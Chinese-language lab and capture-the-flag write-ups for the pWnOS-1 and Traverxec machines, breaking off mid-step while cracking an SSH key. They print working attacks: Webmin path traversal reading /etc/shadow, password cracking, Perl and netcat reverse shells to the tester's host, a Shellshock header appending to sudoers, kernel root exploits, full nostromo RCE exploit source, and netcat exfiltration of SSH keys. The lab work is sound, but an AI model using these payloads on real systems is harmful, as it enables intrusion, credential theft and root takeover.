/php目录有一个phpmyadmin，但是需要密码，除此之外没有太多可用的信息。

构造如下poc，观察返回结果

``` bash
http://192.168.33.3/index1.php?help=true&connect=/etc/passwd
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub119.jpg)

说明存在本地文件包含漏洞LFI

``` bash
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh dhcp:x:100:101::/nonexistent:/bin/false syslog:x:101:102::/home/syslog:/bin/false klog:x:102:103::/home/klog:/bin/false mysql:x:103:107:MySQL Server,,,:/var/lib/mysql:/bin/false sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin vmware:x:1000:1000:vmware,,,:/home/vmware:/bin/bash obama:x:1001:1001::/home/obama:/bin/bash osama:x:1002:1002::/home/osama:/bin/bash yomama:x:1003:1003::/home/yomama:/bin/bash 
```

#### 转向10000端口的webmin

本来可以使用[webminperl脚本](https://www.exploit-db.com/exploits/2017)，但是现在尝试下手工构造poc。。。
注意使..%01/..%01/..%01/..%01/..%01/..%01/尽量长一些。。。

``` bash
http://192.168.33.3:10000/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/etc/shadow
```
![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub120.jpg)

成功读取/etc/shadow文件，尝试解密root账号的hash值，但是密码太复杂，解不出来。。。只能使用下面的方法然后老老实实提权。

#### john破解hash值

将下面的hash串保存成shadow.txt，然后使用john破解。

``` bash
root:$1$LKrO9Q3N$EBgJhPZFHiKXtK0QRqeSm/
vmware:$1$7nwi9F/D$AkdCcO2UfsCOM0IC8BYBb/
obama:$1$hvDHcCfx$pj78hUduionhij9q9JrtA0
osama:$1$Kqiv9qBp$eJg2uGCrOHoXGq0h5ehwe.
yomama:$1$tI4FJ.kP$wgDmweY9SAzJZYqW76oDA.
```

``` bash
root@kali:~# john shadow.txt --wordlist=/usr/share/wordlists/rockyou.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 5 password hashes with 5 different salts (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
h4ckm3           (vmware)
1g 0:00:03:57 DONE (2019-12-31 03:46) 0.004212g/s 59396p/s 269590c/s 269590C/s !!!0mc3t..*7¡Vamos!
Use the "--show" option to display all of the cracked passwords reliably
Session completed
root@kali:~# john --show shadow.txt 
vmware:h4ckm3

1 password hash cracked, 4 left
```
得到用户名和密码：vmware/h4ckm3


#### getshell

``` bash
root@kali:~# ssh vmware@192.168.33.3
The authenticity of host '192.168.33.3 (192.168.33.3)' can't be established.
RSA key fingerprint is SHA256:+C7UA7dQ1B/8zVWHRBD7KeNNfjuSBrtQBMZGd6qoR9w.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.33.3' (RSA) to the list of known hosts.
vmware@192.168.33.3's password: 
Linux ubuntuvm 2.6.22-14-server #1 SMP Sun Oct 14 23:34:23 GMT 2007 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Fri Jun 20 14:35:37 2008
vmware@ubuntuvm:~$ id
uid=1000(vmware) gid=1000(vmware) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),104(scanner),111(lpadmin),112(admin),1000(vmware)
vmware@ubuntuvm:~$ whoami
vmware
```

#### 提权

phpmyadmin里面的config.inc.php文件没有发现任何有价值的密码

``` bash
$cfg['Servers'][$i]['host']          = 'localhost'; // MySQL hostname or IP address
$cfg['Servers'][$i]['port']          = '';          // MySQL port - leave blank for default port
$cfg['Servers'][$i]['socket']        = '';          // Path to the socket - leave blank for default socket
$cfg['Servers'][$i]['connect_type']  = 'tcp';       // How to connect to MySQL server ('tcp' or 'socket')
$cfg['Servers'][$i]['extension']     = 'mysql';     // The php MySQL extension to use ('mysql' or 'mysqli')
$cfg['Servers'][$i]['compress']      = FALSE;       // Use compressed protocol for the MySQL connection
                                                    // (requires PHP >= 4.3.0)
$cfg['Servers'][$i]['controluser']   = '';          // MySQL control user settings
                                                    // (this user must have read-only
$cfg['Servers'][$i]['controlpass']   = '';          // access to the "mysql/user"
                                                    // and "mysql/db" tables).
                                                    // The controluser is also
                                                    // used for all relational
                                                    // features (pmadb)
$cfg['Servers'][$i]['auth_type']     = 'http';    // Authentication method (config, http or cookie based)?
$cfg['Servers'][$i]['user']          = 'root';      // MySQL user
$cfg['Servers'][$i]['password']      = '';          // MySQL password (only needed
```

``` bash
vmware@ubuntuvm:/var$ ls -lah
total 52K
drwxr-xr-x 15 root root  4.0K 2008-06-10 13:28 .
drwxr-xr-x 21 root root  4.0K 2008-06-10 06:37 ..
drwxr-xr-x  2 root root  4.0K 2008-06-10 06:28 backups
drwxr-xr-x  9 root root  4.0K 2008-06-10 07:07 cache
drwxr-xr-x 23 root root  4.0K 2008-06-10 07:08 lib
drwxrwsr-x  2 root staff 4.0K 2007-10-08 05:47 local
drwxrwxrwt  3 root root    60 2019-12-31 00:24 lock
drwxr-xr-x 11 root root  4.0K 2019-12-31 00:24 log
drwxrwsr-x  2 root mail  4.0K 2008-06-10 06:24 mail
drwxr-xr-x  2 root root  4.0K 2008-06-10 06:24 opt
drwxr-xr-x 11 root root   400 2019-12-31 02:58 run
drwxr-xr-x  5 root root  4.0K 2008-06-10 07:07 spool
drwxrwxrwt  2 root root  4.0K 2007-10-08 05:47 tmp
drwx------  2 root bin   4.0K 2008-06-10 13:31 webmin
drwxr-xr-x  3 root root  4.0K 2008-06-12 09:55 www
```

知道Webmin以root身份运行，只需要找到一个可以写的位置并使用文件包含来调用该文件。 回顾Webmin上的源代码，注意到它正在使用.CGI。 经过研究，发现[.CGI](https://users.cs.cf.ac.uk/Dave.Marshall/PERL/node188.html#SECTION002012000000000000000)使用[perl]（perl，C＃或unix脚本。因此，到/usr/share/webshells/perl目录，复制了perl reverse shell，将ip和端口更改为443， 以及从pl到.cgi的扩展名。使用wget将其发送到Web服务器。

先leafpad将perl-reverse-shell.pl的ip改成kali的ip,端口改成443

``` bash
root@kali:/usr/share/webshells/perl# cp perl-reverse-shell.pl mine.cgi
root@kali:/usr/share/webshells/perl# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
```

shell中

``` bash
vmware@ubuntuvm:~$ wget http://192.168.33.1:8000/mine.cgi
--03:44:12--  http://192.168.33.1:8000/mine.cgi
           => `mine.cgi'
Connecting to 192.168.33.1:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3,714 (3.6K) [application/octet-stream]

100%[===========================================================>] 3,714         --.--K/s             

03:44:12 (852.45 MB/s) - `mine.cgi' saved [3714/3714]

vmware@ubuntuvm:~$ chmod 777 *
vmware@ubuntuvm:~$ ls
mine.cgi
```

浏览器中执行poc,稍等片刻即可返回root的shell

``` bash
http://192.168.33.3:10000/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/home/vmware/mine.cgi
```

``` bash
root@kali:~# nc -lvp 443
listening on [any] 443 ...
192.168.33.3: inverse host lookup failed: Unknown host
connect to [192.168.33.1] from (UNKNOWN) [192.168.33.3] 37512
 03:49:32 up  3:24,  1 user,  load average: 0.01, 0.09, 0.06
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
vmware   pts/0    192.168.33.1     03:47   13.00s  0.03s  0.03s -bash
Linux ubuntuvm 2.6.22-14-server #1 SMP Sun Oct 14 23:34:23 GMT 2007 i686 GNU/Linux
uid=0(root) gid=0(root)
/
/usr/sbin/apache: can't access tty; job control turned off
# id
uid=0(root) gid=0(root)
# whoami
root
# cd /root
# ls
keys
# cat keys
cat: keys: Is a directory
# cd keys
# ls
# ls -la
total 8
drwxr-xr-x 2 root root 4096 Jun 12  2008 .
drwxr-xr-x 4 root root 4096 Jun 12  2008 ..
# cd ..
# ls
keys
```

到此为止，提权完成。

#### 提权2

查看是否存在shellshock漏洞

``` bash
vmware@ubuntuvm:~$ env X='() { :; }; echo "CVE-2014-6271 vulnerable"' bash -c date
CVE-2014-6271 vulnerable
Tue Dec 31 06:59:03 CST 2019
```

创建bash脚本并命名为hello.cgi，并放到目标shell中

``` bash
#!/bin/bash
print "Content-type: text/HMTL\n\n";
print "<HTML>\n";
print "<head><title>HEllo World!</title></head>\n";
print "<BODY>\n";
print "<h2>Hello World!</h2>\n";
```

``` bash
vmware@ubuntuvm:/tmp$ wget http://192.168.33.1:8000/hello.cgi
--08:40:16--  http://192.168.33.1:8000/hello.cgi
           => `hello.cgi'
Connecting to 192.168.33.1:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 169 [application/octet-stream]

100%[==============================================================>] 169           --.--K/s             

08:40:16 (70.88 MB/s) - `hello.cgi' saved [169/169]
```

构造下面的poc浏览器访问,并burp抓包，如下将请求包改包,然后发包

``` bash
http://192.168.33.3:10000/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/tmp/hello.cgi
```

``` bash
GET /unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/tmp/hello.cgi HTTP/1.1
Host: 192.168.33.3:10000
User-Agent: () { :; };/bin/echo "vmware ALL=(ALL) ALL">>/etc/sudoers
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: testing=1
Upgrade-Insecure-Requests: 1
```

关键是删去原有的User-Agent的内容，然后加上：

``` bash
() { :; };/bin/echo "vmware ALL=(ALL) ALL">>/etc/sudoers
```

即可将vmware用户添加到超级用户组

``` bash
vmware@ubuntuvm:/tmp$ sudo su
root@ubuntuvm:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntuvm:/tmp# whoami
root
```

再次成功提权。

#### other way to get shell and privilege escalate by using msf

Webmin和Usermin中已经报告了一个漏洞，恶意人员可以利用此漏洞来披露潜在的敏感信息。 该漏洞是由于URL处理中的未指定错误引起的。 可以利用此漏洞通过特制的URL读取服务器上任何文件的内容，而无需有效的登录。 已在Webmin（1.290之前的版本）和Usermin（1.220之前的版本）中报告了此漏洞。

使用msf

``` bash
root@kali:~# msfdb run
[+] Starting database
                                                  

         .                                         .                                                      
 .                                                                                                        
                                                                                                          
      dBBBBBBb  dBBBP dBBBBBBP dBBBBBb  .                       o                                         
       '   dB'                     BBP                                                                    
    dB'dB'dB' dBBP     dBP     dBP BB                                                                     
   dB'dB'dB' dBP      dBP     dBP  BB                                                                     
  dB'dB'dB' dBBBBP   dBP     dBBBBBBB                                                                     
                                                                                                          
                                   dBBBBBP  dBBBBBb  dBP    dBBBBP dBP dBBBBBBP                           
          .                  .                  dB' dBP    dB'.BP                                         
                             |       dBP    dBBBB' dBP    dB'.BP dBP    dBP                               
                           --o--    dBP    dBP    dBP    dB'.BP dBP    dBP                                
                             |     dBBBBP dBP    dBBBBP dBBBBP dBP    dBP                                 
                                                                                                          
                                                                    .                                     
                .                                                                                         
        o                  To boldly go where no                                                          
                            shell has gone before                                                         
                                                                                                          

       =[ metasploit v5.0.66-dev                          ]
+ -- --=[ 1956 exploits - 1089 auxiliary - 336 post       ]
+ -- --=[ 562 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

msf5 > use auxiliary/admin/webmin/file_disclosure
msf5 auxiliary(admin/webmin/file_disclosure) > set DIR /unauthenticated
DIR => /unauthenticated
msf5 auxiliary(admin/webmin/file_disclosure) > set RPATH /etc/shadow
RPATH => /etc/shadow
msf5 auxiliary(admin/webmin/file_disclosure) > set RPORT 10000
RPORT => 10000
msf5 auxiliary(admin/webmin/file_disclosure) > set RHOST 192.168.33.3
RHOST => 192.168.33.3
msf5 auxiliary(admin/webmin/file_disclosure) > run
[*] Running module against 192.168.33.3

[*] Attempting to retrieve /etc/shadow...
[*] The server returned: 200 Document follows
root:$1$LKrO9Q3N$EBgJhPZFHiKXtK0QRqeSm/:14041:0:99999:7:::
daemon:*:14040:0:99999:7:::
bin:*:14040:0:99999:7:::
sys:*:14040:0:99999:7:::
sync:*:14040:0:99999:7:::
games:*:14040:0:99999:7:::
man:*:14040:0:99999:7:::
lp:*:14040:0:99999:7:::
mail:*:14040:0:99999:7:::
news:*:14040:0:99999:7:::
uucp:*:14040:0:99999:7:::
proxy:*:14040:0:99999:7:::
www-data:*:14040:0:99999:7:::
backup:*:14040:0:99999:7:::
list:*:14040:0:99999:7:::
irc:*:14040:0:99999:7:::
gnats:*:14040:0:99999:7:::
nobody:*:14040:0:99999:7:::
dhcp:!:14040:0:99999:7:::
syslog:!:14040:0:99999:7:::
klog:!:14040:0:99999:7:::
mysql:!:14040:0:99999:7:::
sshd:!:14040:0:99999:7:::
vmware:$1$7nwi9F/D$AkdCcO2UfsCOM0IC8BYBb/:14042:0:99999:7:::
obama:$1$hvDHcCfx$pj78hUduionhij9q9JrtA0:14041:0:99999:7:::
osama:$1$Kqiv9qBp$eJg2uGCrOHoXGq0h5ehwe.:14041:0:99999:7:::
yomama:$1$tI4FJ.kP$wgDmweY9SAzJZYqW76oDA.:14041:0:99999:7:::
[*] Auxiliary module execution completed
msf5 auxiliary(admin/webmin/file_disclosure) > set RPATH /home/obama/.ssh/authorized_keys
RPATH => /home/obama/.ssh/authorized_keys
msf5 auxiliary(admin/webmin/file_disclosure) > run
[*] Running module against 192.168.33.3

[*] Attempting to retrieve /home/obama/.ssh/authorized_keys...
[*] The server returned: 200 Document follows
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxRuWHhMPelB60JctxC6BDxjqQXggf0ptx2wrcAw09HayPxMnKv+BFiGA/I1yXn5EqUfuLSDcTwiIeVSvqJl3NNI5HQUUc6KGlwrhCW464ksARX2ZAp9+6Yu7DphKZmtF5QsWaiJc7oV5il89zltwBDqR362AH49m8/3OcZp4XJqEAOlVWeT5/jikmke834CyTMlIcyPL85LpFw2aXQCJQIzvkCHJAfwTpwJTugGMB5Ng73omS82Q3ErbOhTSa5iBuE86SEkyyotEBUObgWU3QW6ZMWM0Rd9ErIgvps1r/qpteMMrgieSUKlF/LaeMezSXXkZrn0x+A2bKsw9GwMetQ== obama@ubuntuvm
[*] Auxiliary module execution completed
```

然后将hash用john解密即可

 - 提权3

``` bash
vmware@ubuntuvm:~$ uname -a
Linux ubuntuvm 2.6.22-14-server #1 SMP Sun Oct 14 23:34:23 GMT 2007 i686 GNU/Linux
```
内核早已过期
谷歌搜索立即找到了有关vmsplice_to_pipe（）的好消息，这是一个本地特权升级漏洞，会影响2.6.24.2之前的内核。 来源可在ExploitDB上找到。 作者对源代码文件的名称充满了想象力（阅读第一行，很有趣）。[vmsplice Local Privilege Escalation](https://www.exploit-db.com/exploits/5092)

下载它然后编译

``` bash
root@kali:~# wget -O vmsplice.c https://www.exploit-db.com/download/5092 --no-check-certificate
--2019-12-31 11:12:44--  https://www.exploit-db.com/download/5092
正在解析主机 www.exploit-db.com (www.exploit-db.com)... 192.124.249.8
正在连接 www.exploit-db.com (www.exploit-db.com)|192.124.249.8|:443... 已连接。
已发出 HTTP 请求，正在等待回应... 200 OK
长度：6580 (6.4K) [application/txt]
正在保存至: “vmsplice.c”

vmsplice.c                 100%[======================================>]   6.43K  --.-KB/s  用时 0s      

2019-12-31 11:12:50 (40.8 MB/s) - 已保存 “vmsplice.c” [6580/6580])
root@kali:~# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
```

``` bash
vmware@ubuntuvm:/tmp$ wget http://192.168.33.1:8000/vmsplice.c
--10:18:57--  http://192.168.33.1:8000/vmsplice.c
           => `vmsplice.c'
Connecting to 192.168.33.1:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6,580 (6.4K) [text/plain]

100%[==============================================================>] 6,580         --.--K/s             

10:18:57 (661.94 MB/s) - `vmsplice.c' saved [6580/6580]

vmware@ubuntuvm:/tmp$ gcc vmsplice.c -o exp
vmsplice.c:289:28: warning: no newline at end of file
vmware@ubuntuvm:/tmp$ ./exp
-----------------------------------
 Linux vmsplice Local Root Exploit
 By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7e5b000 .. 0xb7e8d000
[+] root
root@ubuntuvm:/tmp# id 
uid=0(root) gid=0(root) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),104(scanner),111(lpadmin),112(admin),1000(vmware)
root@ubuntuvm:/tmp# whoami
root
```

注意：C源码文件一定要放到目标机上编译才能运行，提权完成。。。

 - 提权4

这个靶机实在是太辣鸡了，简直就是个万人捅，，，sorry，太黄了。。。
还可以使用sock_sendpage()空指针来提权，具体参考[sock_sendpage() Local Privilege Escalation](https://www.exploit-db.com/download/9641)
按照里面的链接下载文件后，解压出来有好几个文件，全部放到目标机的tmp目录下，然后给777权限，直接运行run提权

``` bash
root@kali:~/linux-sendpage3# ls
exploit.c  exploit-pulseaudio.c  run  runcon-mmap_zero  sesearch-mmap_zero

vmware@ubuntuvm:/tmp$ ls
exp      exploit.c           exploit-pulseaudio.c  hello.cgi  runcon-mmap_zero    sqlMAUTWl
exploit  exploit-pulseaudio  exploit.so            run        sesearch-mmap_zero  vmsplice.c
vmware@ubuntuvm:/tmp$ ./run
# id
uid=0(root) gid=0(root) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),104(scanner),111(lpadmin),112(admin),1000(vmware)
# whoami
root
```

成功提权！！！帅呆了！！！

<font color="red">Game over</font>

不好意思，这次还是没有找到希腊某位大佬的傻瓜式一键通关脚本，i am so sorry about this...It's a pity...

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/haha.jpg)

<font color="green">***The end,to be continue...***</font>
<!-- kb:end pWnOS-1 -->

</details>

<a id="case-traverxec"></a>

## Nostromo 映射与日志查看器

Nostromo 的请求执行连接用户文件，SSH 私钥口令恢复后继续分析 journalctl/less 的 sudo 交互能力。

<p class="kb-provenance">来源 Traverxec · 原记录 2020-04-21 · 22 个代码块 · 5 处图片引用</p>

<details class="kb-evidence" id="record-traverxec">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start Traverxec -->

#### 介绍

操作系统：Linux
难度：容易
点数：20
发行：2019年11月16日
IP：10.10.10.165

user一血用时：2小时26分钟49秒。
root一血用时：3小时06分钟28秒。

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb24.jpg)



#### 信息收集

上nmap

``` bash
C:\Users\HASEE>nmap -p- -v -sV 10.10.10.165 --min-rate=1000 -T4
PORT   STATE SERVICE    VERSION
22/tcp open  tcpwrapped
80/tcp open  tcpwrapped
```

``` bash
C:\Users\HASEE>nmap -p 22,80 -v -A -T4 10.10.10.165
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey:
|   2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)
|_  256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)
80/tcp open  http    nostromo 1.9.6
|_http-favicon: Unknown favicon MD5: FED84E16B6CCFE88EE7FFAAE5DFEFD34
|_http-server-header: nostromo 1.9.6
|_http-title: TRAVERXEC
```

扫描显示端口22和80是打开的。Nmap将HTTP-server-header报告为nostromo 1.9.6，这意味着该框正在运行nostromo HTTP服务。

Nostromo或nhttpd是一个开源web服务器。

网页似乎没有显示任何有趣的东西，Gobuster扫描也没有发现任何有用的东西。

#### 人工利用

经过一些研究，nostromo版本1.9.6有一个远程代码执行漏洞。

 - [nostromo-1.9.6-Remote-Code-Execution](https://www.exploit-db.com/exploits/47837)

现在下载python漏洞利用脚本并按如下方式执行它

先查看exploit的内容

``` bash
# Exploit Title: nostromo 1.9.6 - Remote Code Execution
# Date: 2019-12-31
# Exploit Author: Kr0ff
# Vendor Homepage:
# Software Link: http://www.nazgul.ch/dev/nostromo-1.9.6.tar.gz
# Version: 1.9.6
# Tested on: Debian
# CVE : CVE-2019-16278

cve2019_16278.py

#!/usr/bin/env python

import sys
import socket

art = """

                                        _____-2019-16278
        _____  _______    ______   _____\    \   
   _____\    \_\      |  |      | /    / |    |  
  /     /|     ||     /  /     /|/    /  /___/|  
 /     / /____/||\    \  \    |/|    |__ |___|/  
|     | |____|/ \ \    \ |    | |       \        
|     |  _____   \|     \|    | |     __/ __     
|\     \|\    \   |\         /| |\    \  /  \    
| \_____\|    |   | \_______/ | | \____\/    |   
| |     /____/|    \ |     | /  | |    |____/|   
 \|_____|    ||     \|_____|/    \|____|   | |   
        |____|/                        |___|/    



"""

help_menu = '\r\nUsage: cve2019-16278.py <Target_IP> <Target_Port> <Command>'

def connect(soc):
    response = ""
    try:
        while True:
            connection = soc.recv(1024)
            if len(connection) == 0:
                break
            response += connection
    except:
        pass
    return response

def cve(target, port, cmd):
    soc = socket.socket()
    soc.connect((target, int(port)))
    payload = 'POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0\r\nContent-Length: 1\r\n\r\necho\necho\n{} 2>&1'.format(cmd)
    soc.send(payload)
    receive = connect(soc)
    print(receive)

if __name__ == "__main__":

    print(art)
    
    try:
        target = sys.argv[1]
        port = sys.argv[2]
        cmd = sys.argv[3]

        cve(target, port, cmd)
   
    except IndexError:
        print(help_menu)
```

然后利用脚本执行命令

``` bash
C:\Users\HASEE\Desktop\hack the box靶机渗透\Traverxec>python exploit.py 10.10.10.165 80 id


                                        _____-2019-16278
        _____  _______    ______   _____\    \
   _____\    \_\      |  |      | /    / |    |
  /     /|     ||     /  /     /|/    /  /___/|
 /     / /____/||\    \  \    |/|    |__ |___|/
|     | |____|/ \ \    \ |    | |       \
|     |  _____   \|     \|    | |     __/ __
|\     \|\    \   |\         /| |\    \  /  \
| \_____\|    |   | \_______/ | | \____\/    |
| |     /____/|    \ |     | /  | |    |____/|
 \|_____|    ||     \|_____|/    \|____|   | |
        |____|/                        |___|/




HTTP/1.1 200 OK
Date: Wed, 22 Apr 2020 02:12:04 GMT
Server: nostromo 1.9.6
Connection: close


uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

为了得到一个反向shell，可以使用Netcat。运行脚本，并在本地机器上启动一个Netcat侦听器。

``` bash
root@kali:~/vulnhub/Traverxec# python exploit.py 10.10.10.165 80 "nc -c /bin/sh 10.10.15.136 5566"


                                        _____-2019-16278
        _____  _______    ______   _____\    \   
   _____\    \_\      |  |      | /    / |    |  
  /     /|     ||     /  /     /|/    /  /___/|  
 /     / /____/||\    \  \    |/|    |__ |___|/  
|     | |____|/ \ \    \ |    | |       \        
|     |  _____   \|     \|    | |     __/ __     
|\     \|\    \   |\         /| |\    \  /  \    
| \_____\|    |   | \_______/ | | \____\/    |   
| |     /____/|    \ |     | /  | |    |____/|   
 \|_____|    ||     \|_____|/    \|____|   | |   
        |____|/                        |___|/ 
```

成功的收到了反弹回来的shell

``` bash
root@kali:~# nc -lvp 5566
listening on [any] 5566 ...
10.10.10.165: inverse host lookup failed: Unknown host
connect to [10.10.15.136] from (UNKNOWN) [10.10.10.165] 47074
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
whoami
www-data
python -c 'import pty; pty.spawn("/bin/bash")'
www-data@traverxec:/usr/bin$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@traverxec:/usr/bin$ whoami
whoami
www-data
```

#### 还可以使用metasploit

还可以使用Metasploit模块来利用这个漏洞。开始Metasploit并尝试利用它。

``` bash
msfconsole
msf > use exploit/multi/http/nostromo_code_exec
msf > set rhosts 10.10.10.165
msf > set lhost 10.10.15.136
msf > run
```

#### 横向移动

枚举系统来查找提权向量。/etc/passwd文件显示一个名为david的用户。

它还显示Nostromo web根目录是/var/nostromo/。

文件夹/var/nostromo/conf包含web服务器配置文件。

文件nhttpd.conf和.htpasswd看起来很有趣。

.htpasswd包含一个密码散列，这个散列是可破解的，但是它没有任何用处。
conf文件包含以下配置。

``` bash
www-data@traverxec:/var/nostromo/conf$ ls
ls
mimes  nhttpd.conf
www-data@traverxec:/var/nostromo/conf$ cat nhttpd.conf
cat nhttpd.conf
# MAIN [MANDATORY]

servername              traverxec.htb
serverlisten            *
serveradmin             david@traverxec.htb
serverroot              /var/nostromo
servermimes             conf/mimes
docroot                 /var/nostromo/htdocs
docindex                index.html

# LOGS [OPTIONAL]

logpid                  logs/nhttpd.pid

# SETUID [RECOMMENDED]

user                    www-data

# BASIC AUTHENTICATION [OPTIONAL]

htaccess                .htaccess
htpasswd                /var/nostromo/conf/.htpasswd

# ALIASES [OPTIONAL]

/icons                  /var/nostromo/icons

# HOMEDIRS [OPTIONAL]

homedirs                /home
homedirs_public         public_www
```

HOMEDIRS部分确定用户的主目录中可能有一个public_www文件夹。

用户的主目录不可读，但是发现public_www是可访问的。

该文件夹包含protected-file-area子文件夹。

``` bash
www-data@traverxec:/var/nostromo/conf$ cd /home/david/public_www/protected-file-area
<conf$ cd /home/david/public_www/protected-file-area
www-data@traverxec:/home/david/public_www/protected-file-area$ ls
ls
backup-ssh-identity-files.tgz
```

文件夹的枚举显示一些备份的SSH密钥。用netcat把它们转移到本地box里。在本地运行以下命令以接收文件。

``` bash
root@kali:~/vulnhub/Traverxec# nc -lvp 1234 > backup.tgz
listening on [any] 1234 ...
```

接下来，在服务器上运行以下命令来完成传输。

``` bash
www-data@traverxec:/home/david/public_www/protected-file-area$ nc 10.10.15.136 1234 < backup-ssh-identity-files.tgz
<c 10.10.15.136 1234 < backup-ssh-identity-files.tgz
```

kali端成功收到了文件

``` bash
root@kali:~/vulnhub/Traverxec# ls -la
总用量 16
drwxr-xr-x  2 root root 4096 4月  21 22:58 .
drwxrwxrwx 21 root root 4096 4月  21 22:32 ..
-rw-r--r--  1 root root 1915 4月  21 23:01 backup.tgz
-rw-r--r--  1 root root 1503 4月  21 22:33 exploit.py
```

提取backup.tgz中的文件。

``` bash
root@kali:~/vulnhub/Traverxec# tar -xvf backup.tgz 
home/david/.ssh/
home/david/.ssh/authorized_keys
home/david/.ssh/id_rsa
home/david/.ssh/id_rsa.pub
root@kali:~/vulnhub/Traverxec# ls
backup.tgz  exploit.py  home
```

发现归档文件包含SSH密钥，其中可以使用私有密钥id_rsa作为david用户登录。

``` bash
root@kali:~/vulnhub/Traverxec/home/david/.ssh# ssh -i id_rsa david@10.10.10.165
The authenticity of host '10.10.10.165 (10.10.10.165)' can't be established.
ECDSA key fingerprint is SHA256:CiO/pUMzd+6bHnEhA2rAU30QQiNdWOtkEPtJoXnWzVo.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.165' (ECDSA) to the list of known hosts.
Enter passphrase for key 'id_rsa':
```

但是，私钥是加密的，需要密码。用john来试着破解它。首先，使用ssh2john从RSA密钥中提取散列。

``` bash
root@kali:~/vulnhub/Traverxec/home/david/.ssh# python3 /usr/share/john/ssh2john.py id_rsa > hash.txt
/usr/share/john/ssh2john.py:103: DeprecationWarning: decodestring() is a deprecated alias since Python 3.1, use decodebytes()
  data = base64.decodestring(data)
root@kali:~/vulnhub/Traverxec/home/david/.ssh# ls
authorized_keys  hash.txt  id_rsa  id_rsa.pub
root@kali:~/vulnhub/Traverxec/home/david/.ssh# cat hash.txt 
